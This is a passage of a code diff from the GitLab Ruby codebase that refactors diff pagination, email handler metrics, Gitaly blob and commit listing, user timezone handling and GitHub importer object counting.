+++ b/lib/gitlab/diff/file.rb
@@ -449,7 +449,7 @@ module Gitlab
end
def alternate_viewer_class
- return unless viewer.class == DiffViewer::Renamed
+ return unless viewer.instance_of?(DiffViewer::Renamed)
find_renderable_viewer_class(RICH_VIEWERS) || (DiffViewer::Text if text?)
end
diff --git a/lib/gitlab/diff/file_collection/base.rb b/lib/gitlab/diff/file_collection/base.rb
index f3f0f227a8c..6d04c4874c7 100644
--- a/lib/gitlab/diff/file_collection/base.rb
+++ b/lib/gitlab/diff/file_collection/base.rb
@@ -85,14 +85,14 @@ module Gitlab
# No-op
end
+ def overflow?
+ raw_diff_files.overflow?
+ end
+
private
def empty_pagination_data
- {
- current_page: nil,
- next_page: nil,
- total_pages: nil
- }
+ { total_pages: nil }
end
def diff_stats_collection
diff --git a/lib/gitlab/diff/file_collection/commit.rb b/lib/gitlab/diff/file_collection/commit.rb
index 7b1d6171e82..0f8f408d326 100644
--- a/lib/gitlab/diff/file_collection/commit.rb
+++ b/lib/gitlab/diff/file_collection/commit.rb
@@ -10,6 +10,10 @@ module Gitlab
diff_options: diff_options,
diff_refs: commit.diff_refs)
end
+
+ def cache_key
+ ['commit', @diffable.id]
+ end
end
end
end
diff --git a/lib/gitlab/diff/file_collection/compare.rb b/lib/gitlab/diff/file_collection/compare.rb
index 663bad95db7..badebabb192 100644
--- a/lib/gitlab/diff/file_collection/compare.rb
+++ b/lib/gitlab/diff/file_collection/compare.rb
@@ -14,6 +14,10 @@ module Gitlab
def unfold_diff_lines(positions)
# no-op
end
+
+ def cache_key
+ ['compare', @diffable.head.id, @diffable.base.id]
+ end
end
end
end
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
index d2ca86fdfe7..692186fc323 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
@@ -6,6 +6,8 @@ module Gitlab
class MergeRequestDiffBase < Base
extend ::Gitlab::Utils::Override
+ delegate :real_size, :overflow?, :cache_key, to: :@merge_request_diff
+
def initialize(merge_request_diff, diff_options:)
@merge_request_diff = merge_request_diff
@@ -44,10 +46,6 @@ module Gitlab
diff_stats_cache.clear
end
- def real_size
- @merge_request_diff.real_size
- end
-
private
def highlight_cache
@@ -58,7 +56,7 @@ module Gitlab
def diff_stats_cache
strong_memoize(:diff_stats_cache) do
- Gitlab::Diff::StatsCache.new(cachable_key: @merge_request_diff.cache_key)
+ Gitlab::Diff::StatsCache.new(cachable_key: cache_key)
end
end
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb b/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
index 5ff7c88970c..0a601bde612 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
@@ -21,9 +21,7 @@ module Gitlab
@paginated_collection = load_paginated_collection(batch_page, batch_size, diff_options)
@pagination_data = {
- current_page: current_page,
- next_page: next_page,
- total_pages: total_pages
+ total_pages: @paginated_collection.blank? ? nil : relation.size
}
end
@@ -62,24 +60,6 @@ module Gitlab
@merge_request_diff.merge_request_diff_files
end
- def current_page
- return if @paginated_collection.blank?
-
- batch_gradual_load? ? nil : @paginated_collection.current_page
- end
-
- def next_page
- return if @paginated_collection.blank?
-
- batch_gradual_load? ? nil : @paginated_collection.next_page
- end
-
- def total_pages
- return if @paginated_collection.blank?
-
- batch_gradual_load? ? relation.size : @paginated_collection.total_pages
- end
-
# rubocop: disable CodeReuse/ActiveRecord
def load_paginated_collection(batch_page, batch_size, diff_options)
batch_page ||= DEFAULT_BATCH_PAGE
@@ -87,21 +67,12 @@ module Gitlab
paths = diff_options&.fetch(:paths, nil)
- paginated_collection = if batch_gradual_load?
- relation.offset(batch_page).limit([batch_size.to_i, DEFAULT_BATCH_SIZE].min)
- else
- relation.page(batch_page).per(batch_size)
- end
-
+ paginated_collection = relation.offset(batch_page).limit([batch_size.to_i, DEFAULT_BATCH_SIZE].min)
paginated_collection = paginated_collection.by_paths(paths) if paths
paginated_collection
end
# rubocop: enable CodeReuse/ActiveRecord
-
- def batch_gradual_load?
- Feature.enabled?(:diffs_gradual_load, @merge_request_diff.project, default_enabled: true)
- end
end
end
end
diff --git a/lib/gitlab/diff/position_tracer/line_strategy.rb b/lib/gitlab/diff/position_tracer/line_strategy.rb
index e3c1e549b96..8bacc781f61 100644
--- a/lib/gitlab/diff/position_tracer/line_strategy.rb
+++ b/lib/gitlab/diff/position_tracer/line_strategy.rb
@@ -95,7 +95,7 @@ module Gitlab
if c_line
# If the line is still in D but also in C, it has turned from an
# added line into an unchanged one.
- new_position = new_position(cd_diff, c_line, d_line)
+ new_position = new_position(cd_diff, c_line, d_line, position.line_range)
if valid_position?(new_position)
# If the line is still in the MR, we don't treat this as outdated.
{ position: new_position, outdated: false }
@@ -108,7 +108,7 @@ module Gitlab
end
else
# If the line is still in D and not in C, it is still added.
- { position: new_position(cd_diff, nil, d_line), outdated: false }
+ { position: new_position(cd_diff, nil, d_line, position.line_range), outdated: false }
end
else
# If the line is no longer in D, it has been removed from the MR.
@@ -143,7 +143,7 @@ module Gitlab
{ position: new_position(bd_diff, nil, d_line), outdated: true }
else
# If the line is still in C and not in D, it is still removed.
- { position: new_position(cd_diff, c_line, nil), outdated: false }
+ { position: new_position(cd_diff, c_line, nil, position.line_range), outdated: false }
end
else
# If the line is no longer in C, it has been removed outside of the MR.
@@ -174,7 +174,7 @@ module Gitlab
if c_line && d_line
# If the line is still in C and D, it is still unchanged.
- new_position = new_position(cd_diff, c_line, d_line)
+ new_position = new_position(cd_diff, c_line, d_line, position.line_range)
if valid_position?(new_position)
# If the line is still in the MR, we don't treat this as outdated.
{ position: new_position, outdated: false }
@@ -188,7 +188,7 @@ module Gitlab
# If the line is still in D but no longer in C, it has turned from
# an unchanged line into an added one.
# We don't treat this as outdated since the line is still in the MR.
- { position: new_position(cd_diff, nil, d_line), outdated: false }
+ { position: new_position(cd_diff, nil, d_line, position.line_range), outdated: false }
else # !d_line && (c_line || !c_line)
# If the line is no longer in D, it has turned from an unchanged line
# into a removed one.
@@ -196,12 +196,15 @@ module Gitlab
end
end
- def new_position(diff_file, old_line, new_line)
- Position.new(
+ def new_position(diff_file, old_line, new_line, line_range = nil)
+ params = {
diff_file: diff_file,
old_line: old_line,
- new_line: new_line
- )
+ new_line: new_line,
+ line_range: line_range
+ }.compact
+
+ Position.new(**params)
end
def valid_position?(position)
diff --git a/lib/gitlab/email/handler/create_issue_handler.rb b/lib/gitlab/email/handler/create_issue_handler.rb
index e927a5641e5..b110d39818d 100644
--- a/lib/gitlab/email/handler/create_issue_handler.rb
+++ b/lib/gitlab/email/handler/create_issue_handler.rb
@@ -61,7 +61,8 @@ module Gitlab
params: {
title: mail.subject,
description: message_including_reply
- }
+ },
+ spam_params: nil
).execute
end
diff --git a/lib/gitlab/email/handler/reply_processing.rb b/lib/gitlab/email/handler/reply_processing.rb
index fd3143488b1..d508cf9360e 100644
--- a/lib/gitlab/email/handler/reply_processing.rb
+++ b/lib/gitlab/email/handler/reply_processing.rb
@@ -4,14 +4,6 @@ module Gitlab
module Email
module Handler
module ReplyProcessing
- private
-
- attr_reader :project_id, :project_slug, :project_path, :incoming_email_token
-
- def author
- raise NotImplementedError
- end
-
# rubocop:disable Gitlab/ModuleWithInstanceVariables
def project
return @project if instance_variable_defined?(:@project)
@@ -27,6 +19,14 @@ module Gitlab
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
+ private
+
+ attr_reader :project_id, :project_slug, :project_path, :incoming_email_token
+
+ def author
+ raise NotImplementedError
+ end
+
def message
@message ||= process_message
end
diff --git a/lib/gitlab/email/handler/service_desk_handler.rb b/lib/gitlab/email/handler/service_desk_handler.rb
index 05daa08530e..84b55079cea 100644
--- a/lib/gitlab/email/handler/service_desk_handler.rb
+++ b/lib/gitlab/email/handler/service_desk_handler.rb
@@ -42,18 +42,10 @@ module Gitlab
end
end
- def metrics_params
- super.merge(project: project&.full_path)
- end
-
def metrics_event
:receive_email_service_desk
end
- private
-
- attr_reader :project_id, :project_path, :service_desk_key
-
def project
strong_memoize(:project) do
@project = service_desk_key ? project_from_key : super
@@ -62,6 +54,10 @@ module Gitlab
end
end
+ private
+
+ attr_reader :project_id, :project_path, :service_desk_key
+
def project_from_key
return unless match = service_desk_key.match(PROJECT_KEY_PATTERN)
@@ -83,7 +79,8 @@ module Gitlab
description: message_including_template,
confidential: true,
external_author: from_address
- }
+ },
+ spam_params: nil
).execute
raise InvalidIssueError unless @issue.persisted?
@@ -95,6 +92,7 @@ module Gitlab
def send_thank_you_email
Notify.service_desk_thank_you_email(@issue.id).deliver_later
+ Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_thank_you_email)
end
def message_including_template
diff --git a/lib/gitlab/email/message/in_product_marketing/verify.rb b/lib/gitlab/email/message/in_product_marketing/verify.rb
index d563de6c77e..88140c67804 100644
--- a/lib/gitlab/email/message/in_product_marketing/verify.rb
+++ b/lib/gitlab/email/message/in_product_marketing/verify.rb
@@ -68,7 +68,7 @@ module Gitlab
private
def ci_link
- link(s_('InProductMarketing|how easy it is to get started'), help_page_url('ci/README'))
+ link(s_('InProductMarketing|how easy it is to get started'), help_page_url('ci/index'))
end
def quick_start_link
diff --git a/lib/gitlab/email/receiver.rb b/lib/gitlab/email/receiver.rb
index 8139a294269..242def826be 100644
--- a/lib/gitlab/email/receiver.rb
+++ b/lib/gitlab/email/receiver.rb
@@ -22,6 +22,9 @@ module Gitlab
handler.execute.tap do
Gitlab::Metrics::BackgroundTransaction.current&.add_event(handler.metrics_event, handler.metrics_params)
end
+ rescue StandardError => e
+ Gitlab::Metrics::BackgroundTransaction.current&.add_event('email_receiver_error', error: e.class.name)
+ raise e
end
def mail_metadata
@@ -33,7 +36,11 @@ module Gitlab
references: Array(mail.references),
delivered_to: delivered_to.map(&:value),
envelope_to: envelope_to.map(&:value),
- x_envelope_to: x_envelope_to.map(&:value)
+ x_envelope_to: x_envelope_to.map(&:value),
+ meta: {
+ client_id: "email/#{mail.from.first}",
+ project: handler&.project&.full_path
+ }
}
end
diff --git a/lib/gitlab/error_tracking/processor/grpc_error_processor.rb b/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
index e2a9192806f..e835deeea2c 100644
--- a/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
+++ b/lib/gitlab/error_tracking/processor/grpc_error_processor.rb
@@ -35,7 +35,12 @@ module Gitlab
# Worse in new version, no setter! Have to poke at the
# instance variable
- exception.value = message if message
+ if message.present?
+ exceptions.each do |exception|
+ exception.value = message if valid_exception?(exception)
+ end
+ end
+
event.extra[:grpc_debug_error_string] = debug_str if debug_str
end
diff --git a/lib/gitlab/experimentation.rb b/lib/gitlab/experimentation.rb
index fe3dd4759d6..0cf3969b490 100644
--- a/lib/gitlab/experimentation.rb
+++ b/lib/gitlab/experimentation.rb
@@ -62,9 +62,6 @@ module Gitlab
learn_gitlab_b: {
tracking_category: 'Growth::Activation::Experiment::LearnGitLabB',
rollout_strategy: :user
- },
- in_product_marketing_emails: {
- tracking_category: 'Growth::Activation::Experiment::InProductMarketingEmails'
}
}.freeze
diff --git a/lib/gitlab/experimentation/controller_concern.rb b/lib/gitlab/experimentation/controller_concern.rb
index ca9205a8f8c..2a43f0d5ca9 100644
--- a/lib/gitlab/experimentation/controller_concern.rb
+++ b/lib/gitlab/experimentation/controller_concern.rb
@@ -11,6 +11,7 @@ module Gitlab
module Experimentation
module ControllerConcern
include ::Gitlab::Experimentation::GroupTypes
+ include Gitlab::Tracking::Helpers
extend ActiveSupport::Concern
included do
@@ -101,10 +102,6 @@ module Gitlab
private
- def dnt_enabled?
- Gitlab::Utils.to_boolean(request.headers['DNT'])
- end
-
def experimentation_subject_id
cookies.signed[:experimentation_subject_id]
end
diff --git a/lib/gitlab/git.rb b/lib/gitlab/git.rb
index a2215366bdc..d5ced2045f5 100644
--- a/lib/gitlab/git.rb
+++ b/lib/gitlab/git.rb
@@ -80,7 +80,7 @@ module Gitlab
def shas_eql?(sha1, sha2)
return true if sha1.nil? && sha2.nil?
return false if sha1.nil? || sha2.nil?
- return false unless sha1.class == sha2.class
+ return false unless sha1.instance_of?(sha2.class)
# If either of the shas is below the minimum length, we cannot be sure
# that they actually refer to the same commit because of hash collision.
diff --git a/lib/gitlab/git/repository.rb b/lib/gitlab/git/repository.rb
index e38c7b516ee..70d072e8082 100644
--- a/lib/gitlab/git/repository.rb
+++ b/lib/gitlab/git/repository.rb
@@ -354,9 +354,13 @@ module Gitlab
end
end
- def new_commits(newrev)
+ def new_commits(newrevs)
wrapped_gitaly_errors do
- gitaly_ref_client.list_new_commits(newrev)
+ if Feature.enabled?(:list_commits)
+ gitaly_commit_client.list_commits(Array.wrap(newrevs) + %w[--not --all])
+ else
+ Array.wrap(newrevs).flat_map { |newrev| gitaly_ref_client.list_new_commits(newrev) }
+ end
end
end
@@ -370,6 +374,20 @@ module Gitlab
end
end
+ # List blobs reachable via a set of revisions. Supports the
+ # pseudo-revisions `--not` and `--all`. Uses the minimum of
+ # GitalyClient.medium_timeout and dynamic timeout if the dynamic
+ # timeout is set, otherwise it'll always use the medium timeout.
+ def blobs(revisions, dynamic_timeout: nil)
+ revisions = revisions.reject { |rev| rev.blank? || rev == ::Gitlab::Git::BLANK_SHA }
+
+ return [] if revisions.blank?
+
+ wrapped_gitaly_errors do
+ gitaly_blob_client.list_blobs(revisions, limit: REV_LIST_COMMIT_LIMIT, dynamic_timeout: dynamic_timeout)
+ end
+ end
+
def count_commits(options)
options = process_count_commits_options(options.dup)
@@ -869,12 +887,6 @@ module Gitlab
end
end
- def rebase_in_progress?(rebase_id)
- wrapped_gitaly_errors do
- gitaly_repository_client.rebase_in_progress?(rebase_id)
- end
- end
-
def squash(user, squash_id, start_sha:, end_sha:, author:, message:)
wrapped_gitaly_errors do
gitaly_operation_client.user_squash(user, squash_id, start_sha, end_sha, author, message)
diff --git a/lib/gitlab/git/user.rb b/lib/gitlab/git/user.rb
index 2c798844798..05ae3391040 100644
--- a/lib/gitlab/git/user.rb
+++ b/lib/gitlab/git/user.rb
@@ -3,10 +3,10 @@
module Gitlab
module Git
class User
- attr_reader :username, :name, :email, :gl_id
+ attr_reader :username, :name, :email, :gl_id, :timezone
def self.from_gitlab(gitlab_user)
- new(gitlab_user.username, gitlab_user.name, gitlab_user.commit_email, Gitlab::GlId.gl_id(gitlab_user))
+ new(gitlab_user.username, gitlab_user.name, gitlab_user.commit_email, Gitlab::GlId.gl_id(gitlab_user), gitlab_user.timezone)
end
def self.from_gitaly(gitaly_user)
@@ -14,23 +14,30 @@ module Gitlab
gitaly_user.gl_username,
Gitlab::EncodingHelper.encode!(gitaly_user.name),
Gitlab::EncodingHelper.encode!(gitaly_user.email),
- gitaly_user.gl_id
+ gitaly_user.gl_id,
+ gitaly_user.timezone
)
end
- def initialize(username, name, email, gl_id)
+ def initialize(username, name, email, gl_id, timezone)
@username = username
@name = name
@email = email
@gl_id = gl_id
+
+ @timezone = if Feature.enabled?(:add_timezone_to_web_operations)
+ timezone
+ else
+ Time.zone.tzinfo.name
+ end
end
def ==(other)
- [username, name, email, gl_id] == [other.username, other.name, other.email, other.gl_id]
+ [username, name, email, gl_id, timezone] == [other.username, other.name, other.email, other.gl_id, other.timezone]
end
def to_gitaly
- Gitaly::User.new(gl_username: username, gl_id: gl_id, name: name.b, email: email.b)
+ Gitaly::User.new(gl_username: username, gl_id: gl_id, name: name.b, email: email.b, timezone: timezone)
end
end
end
diff --git a/lib/gitlab/git/wiki.rb b/lib/gitlab/git/wiki.rb
index 5616b61de07..194f5da0a5c 100644
--- a/lib/gitlab/git/wiki.rb
+++ b/lib/gitlab/git/wiki.rb
@@ -54,8 +54,11 @@ module Gitlab
attr_reader :repository
- def self.default_ref
- 'master'
+ # TODO remove argument when issue
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/329190
+ # is closed.
+ def self.default_ref(container = nil)
+ Gitlab::DefaultBranch.value(object: container)
end
# Initialize with a Gitlab::Git::Repository instance
diff --git a/lib/gitlab/git_access.rb b/lib/gitlab/git_access.rb
index b2a65d9f2d8..642a77ced11 100644
--- a/lib/gitlab/git_access.rb
+++ b/lib/gitlab/git_access.rb
@@ -9,7 +9,6 @@ module Gitlab
ForbiddenError = Class.new(StandardError)
NotFoundError = Class.new(StandardError)
TimeoutError = Class.new(StandardError)
- ProjectMovedError = Class.new(NotFoundError)
# Use the magic string '_any' to indicate we do not know what the
# changes are. This is also what gitlab-shell does.
@@ -148,11 +147,11 @@ module Gitlab
raise NotFoundError, not_found_message if container.nil?
check_project! if project?
+ add_container_moved_message!
end
def check_project!
check_project_accessibility!
- add_project_moved_message!
end
def check_custom_action
@@ -221,12 +220,12 @@ module Gitlab
error_message(:project_not_found)
end
- def add_project_moved_message!
+ def add_container_moved_message!
return if redirected_path.nil?
- project_moved = Checks::ProjectMoved.new(repository, user, protocol, redirected_path)
+ container_moved = Checks::ContainerMoved.new(repository, user, protocol, redirected_path)
- project_moved.add_message
+ container_moved.add_message
end
def check_command_disabled!
@@ -499,13 +498,23 @@ module Gitlab
end
def check_changes_size
- changes_size = 0
+ changes_size =
+ if Feature.enabled?(:git_access_batched_changes_size, project, default_enabled: :yaml)
+ revs = ['--not', '--all', '--not']
+ revs += changes_list.map { |change| change[:newrev] }
- changes_list.each do |change|
- changes_size += repository.new_blobs(change[:newrev]).sum(&:size)
+ repository.blobs(revs).sum(&:size)
+ else
+ changes_size = 0
- check_size_against_limit(changes_size)
- end
+ changes_list.each do |change|
+ changes_size += repository.new_blobs(change[:newrev]).sum(&:size)
+ end
+
+ changes_size
+ end
+
+ check_size_against_limit(changes_size)
end
def check_size_against_limit(size)
diff --git a/lib/gitlab/gitaly_client.rb b/lib/gitlab/gitaly_client.rb
index f4a89edecd1..2c26da037da 100644
--- a/lib/gitlab/gitaly_client.rb
+++ b/lib/gitlab/gitaly_client.rb
@@ -120,7 +120,7 @@ module Gitlab
raise "storage #{storage.inspect} is missing a gitaly_address"
end
- unless URI(address).scheme.in?(%w(tcp unix tls))
+ unless %w(tcp unix tls).include?(URI(address).scheme)
raise "Unsupported Gitaly address: #{address.inspect} does not use URL scheme 'tcp' or 'unix' or 'tls'"
end
diff --git a/lib/gitlab/gitaly_client/blob_service.rb b/lib/gitlab/gitaly_client/blob_service.rb
index e4c8dc150a5..362ecbd845d 100644
--- a/lib/gitlab/gitaly_client/blob_service.rb
+++ b/lib/gitlab/gitaly_client/blob_service.rb
@@ -19,6 +19,25 @@ module Gitlab
consume_blob_response(response)
end
+ def list_blobs(revisions, limit: 0, bytes_limit: 0, dynamic_timeout: nil)
+ request = Gitaly::ListBlobsRequest.new(
+ repository: @gitaly_repo,
+ revisions: Array.wrap(revisions),
+ limit: limit,
+ bytes_limit: bytes_limit
+ )
+
+ timeout =
+ if dynamic_timeout
+ [dynamic_timeout, GitalyClient.medium_timeout].min
+ else
+ GitalyClient.medium_timeout
+ end
+
+ response = GitalyClient.call(@gitaly_repo.storage_name, :blob_service, :list_blobs, request, timeout: timeout)
+ GitalyClient::BlobsStitcher.new(GitalyClient::ListBlobsAdapter.new(response))
+ end
+
def batch_lfs_pointers(blob_ids)
return [] if blob_ids.empty?
diff --git a/lib/gitlab/gitaly_client/blobs_stitcher.rb b/lib/gitlab/gitaly_client/blobs_stitcher.rb
index 2f6d146b5c4..6c51b4cf8c6 100644
--- a/lib/gitlab/gitaly_client/blobs_stitcher.rb
+++ b/lib/gitlab/gitaly_client/blobs_stitcher.rb
@@ -35,8 +35,8 @@ module Gitlab
Gitlab::Git::Blob.new(
id: blob_data[:oid],
- mode: blob_data[:mode].to_s(8),
- name: File.basename(blob_data[:path]),
+ mode: blob_data[:mode]&.to_s(8),
+ name: blob_data[:path] && File.basename(blob_data[:path]),
path: blob_data[:path],
size: blob_data[:size],
commit_id: blob_data[:revision],
diff --git a/lib/gitlab/gitaly_client/commit_service.rb b/lib/gitlab/gitaly_client/commit_service.rb
index 3d24b4d53a4..b894207f0aa 100644
--- a/lib/gitlab/gitaly_client/commit_service.rb
+++ b/lib/gitlab/gitaly_client/commit_service.rb
@@ -248,6 +248,16 @@ module Gitlab
consume_commits_response(response)
end
+ def list_commits(revisions)
+ request = Gitaly::ListCommitsRequest.new(
+ repository: @gitaly_repo,
+ revisions: Array.wrap(revisions)
+ )
+
+ response = GitalyClient.call(@repository.storage, :commit_service, :list_commits, request, timeout: GitalyClient.medium_timeout)
+ consume_commits_response(response)
+ end
+
def list_commits_by_oid(oids)
return [] if oids.empty?
diff --git a/lib/gitlab/gitaly_client/conflicts_service.rb b/lib/gitlab/gitaly_client/conflicts_service.rb
index fc40c23611a..300800189f1 100644
--- a/lib/gitlab/gitaly_client/conflicts_service.rb
+++ b/lib/gitlab/gitaly_client/conflicts_service.rb
@@ -49,7 +49,7 @@ module Gitlab
end
end
- response = GitalyClient.call(@repository.storage, :conflicts_service, :resolve_conflicts, req_enum, remote_storage: target_repository.storage, timeout: GitalyClient.medium_timeout)
+ response = GitalyClient.call(@repository.storage, :conflicts_service, :resolve_conflicts, req_enum, remote_storage: target_repository.storage, timeout: GitalyClient.long_timeout)
if response.resolution_error.present?
raise Gitlab::Git::Conflict::Resolver::ResolutionError, response.resolution_error
diff --git a/lib/gitlab/gitaly_client/list_blobs_adapter.rb b/lib/gitlab/gitaly_client/list_blobs_adapter.rb
new file mode 100644
index 00000000000..bba668e4dc6
--- /dev/null
+++ b/lib/gitlab/gitaly_client/list_blobs_adapter.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GitalyClient
+ class ListBlobsAdapter
+ include Enumerable
+
+ def initialize(rpc_response)
+ @rpc_response = rpc_response
+ end
+
+ def each
+ @rpc_response.each do |msg|
+ msg.blobs.each do |blob|
+ yield blob
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/gitaly_client/repository_service.rb b/lib/gitlab/gitaly_client/repository_service.rb
index 6a75096ff80..009aeaf868a 100644
--- a/lib/gitlab/gitaly_client/repository_service.rb
+++ b/lib/gitlab/gitaly_client/repository_service.rb
@@ -152,23 +152,6 @@ module Gitlab
)
end
- def rebase_in_progress?(rebase_id)
- request = Gitaly::IsRebaseInProgressRequest.new(
- repository: @gitaly_repo,
- rebase_id: rebase_id.to_s
- )
-
- response = GitalyClient.call(
- @storage,
- :repository_service,
- :is_rebase_in_progress,
- request,
- timeout: GitalyClient.fast_timeout
- )
-
- response.in_progress
- end
-
def squash_in_progress?(squash_id)
request = Gitaly::IsSquashInProgressRequest.new(
repository: @gitaly_repo,
diff --git a/lib/gitlab/gitaly_client/storage_settings.rb b/lib/gitlab/gitaly_client/storage_settings.rb
index f66dc3010ea..4cc0269673f 100644
--- a/lib/gitlab/gitaly_client/storage_settings.rb
+++ b/lib/gitlab/gitaly_client/storage_settings.rb
@@ -52,7 +52,7 @@ module Gitlab
@legacy_disk_path = File.expand_path(storage['path'], Rails.root) if storage['path']
storage['path'] = Deprecated
- @hash = storage.with_indifferent_access
+ @hash = ActiveSupport::HashWithIndifferentAccess.new(storage)
end
def gitaly_address
diff --git a/lib/gitlab/github_import/importer/diff_notes_importer.rb b/lib/gitlab/github_import/importer/diff_notes_importer.rb
index 966f12c5c2f..49cbc8f7a42 100644
--- a/lib/gitlab/github_import/importer/diff_notes_importer.rb
+++ b/lib/gitlab/github_import/importer/diff_notes_importer.rb
@@ -22,6 +22,10 @@ module Gitlab
:pull_requests_comments
end
+ def object_type
+ :diff_note
+ end
+
def id_for_already_imported_cache(note)
note.id
end
diff --git a/lib/gitlab/github_import/importer/issues_importer.rb b/lib/gitlab/github_import/importer/issues_importer.rb
index ac6d0666b3a..6cc1a61b332 100644
--- a/lib/gitlab/github_import/importer/issues_importer.rb
+++ b/lib/gitlab/github_import/importer/issues_importer.rb
@@ -18,6 +18,10 @@ module Gitlab
ImportIssueWorker
end
+ def object_type
+ :issue
+ end
+
def collection_method
:issues
end
diff --git a/lib/gitlab/github_import/importer/lfs_objects_importer.rb b/lib/gitlab/github_import/importer/lfs_objects_importer.rb
index c74a7706117..40248ecbd31 100644
--- a/lib/gitlab/github_import/importer/lfs_objects_importer.rb
+++ b/lib/gitlab/github_import/importer/lfs_objects_importer.rb
@@ -18,6 +18,10 @@ module Gitlab
ImportLfsObjectWorker
end
+ def object_type
+ :lfs_object
+ end
+
def collection_method
:lfs_objects
end
@@ -26,6 +30,8 @@ module Gitlab
lfs_objects = Projects::LfsPointers::LfsObjectDownloadListService.new(project).execute
lfs_objects.each do |object|
+ Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :fetched)
+
yield object
end
rescue StandardError => e
diff --git a/lib/gitlab/github_import/importer/notes_importer.rb b/lib/gitlab/github_import/importer/notes_importer.rb
index 5aec760ea5f..ca1d7d60515 100644
--- a/lib/gitlab/github_import/importer/notes_importer.rb
+++ b/lib/gitlab/github_import/importer/notes_importer.rb
@@ -18,6 +18,10 @@ module Gitlab
ImportNoteWorker
end
+ def object_type
+ :note
+ end
+
def collection_method
:issues_comments
end
diff --git a/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb b/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb
index 8173fdd5e3e..640914acf4d 100644
--- a/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb
@@ -43,7 +43,7 @@ module Gitlab
def missing_author_note
s_("GitHubImporter|*Merged by: %{author} at %{timestamp}*") % {
- author: pull_request.merged_by.login,
+ author: pull_request.merged_by&.login || 'ghost',
timestamp: pull_request.merged_at
}
end
diff --git a/lib/gitlab/github_import/importer/pull_request_review_importer.rb b/lib/gitlab/github_import/importer/pull_request_review_importer.rb
index f476ee13392..dd5b7c93ced 100644
--- a/lib/gitlab/github_import/importer/pull_request_review_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_request_review_importer.rb
@@ -69,8 +69,8 @@ module Gitlab
author_id: author_id,
note: note,
system: false,
- created_at: review.submitted_at,
- updated_at: review.submitted_at
+ created_at: submitted_at,
+ updated_at: submitted_at
}.merge(extra)
end
@@ -80,8 +80,8 @@ module Gitlab
approval_attribues = {
merge_request_id: merge_request.id,
user_id: user_id,
- created_at: review.submitted_at,
- updated_at: review.submitted_at
+ created_at: submitted_at,
+ updated_at: submitted_at
}
result = ::Approval.insert(
@@ -105,6 +105,10 @@ module Gitlab
Note.create!(attributes)
end
+
+ def submitted_at
+ @submitted_at ||= (review.submitted_at || merge_request.updated_at)
+ end
end
end
end
diff --git a/lib/gitlab/github_import/importer/pull_requests_importer.rb b/lib/gitlab/github_import/importer/pull_requests_importer.rb
index 28cd3f802a2..b2f099761b1 100644
--- a/lib/gitlab/github_import/importer/pull_requests_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_requests_importer.rb
@@ -22,6 +22,10 @@ module Gitlab
pr.number
end
+ def object_type
+ :pull_request
+ end
+
def each_object_to_import
super do |pr|
update_repository if update_repository?(pr)
diff --git a/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb b/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb
index 94472cd341e..287e0ea7f7f 100644
--- a/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_requests_merged_by_importer.rb
@@ -22,6 +22,10 @@ module Gitlab
:pull_requests_merged_by
end
+ def object_type
+ :pull_request_merged_by
+ end
+
def id_for_already_imported_cache(merge_request)
merge_request.id
end
@@ -30,6 +34,8 @@ module Gitlab
project.merge_requests.with_state(:merged).find_each do |merge_request|
next if already_imported?(merge_request)
+ Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :fetched)
+
pull_request = client.pull_request(project.import_source, merge_request.iid)
yield(pull_request)
diff --git a/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb b/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
index 809a518d13a..e389acbf877 100644
--- a/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
@@ -29,6 +29,10 @@ module Gitlab
:pull_request_reviews
end
+ def object_type
+ :pull_request_review
+ end
+
def id_for_already_imported_cache(review)
review.id
end
@@ -57,6 +61,8 @@ module Gitlab
project.merge_requests.find_each do |merge_request|
next if already_imported?(merge_request)
+ Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :fetched)
+
client
.pull_request_reviews(project.import_source, merge_request.iid)
.each do |review|
@@ -81,6 +87,8 @@ module Gitlab
page.objects.each do |review|
next if already_imported?(review)
+ Gitlab::GithubImport::ObjectCounter.increment(project, object_type, :fetched)
+
review.merge_request_id = merge_request.id
yield(review)
diff --git a/lib/gitlab/github_import/markdown_text.rb b/lib/gitlab/github_import/markdown_text.rb
index e5f4dabe42d..0b1c221bbec 100644
--- a/lib/gitlab/github_import/markdown_text.rb
+++ b/lib/gitlab/github_import/markdown_text.rb
@@ -13,7 +13,7 @@ module Gitlab
# author - An instance of `Gitlab::GithubImport::Representation::User`
# exists - Boolean that indicates the user exists in the GitLab database.
def initialize(text, author, exists = false)
- @text = text
+ @text = text.to_s
@author = author
@exists = exists
end
diff --git a/lib/gitlab/github_import/object_counter.rb b/lib/gitlab/github_import/object_counter.rb
new file mode 100644
index 00000000000..e4835504c2d
--- /dev/null
+++ b/lib/gitlab/github_import/object_counter.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+# Count objects fetched or imported from Github.
+module Gitlab
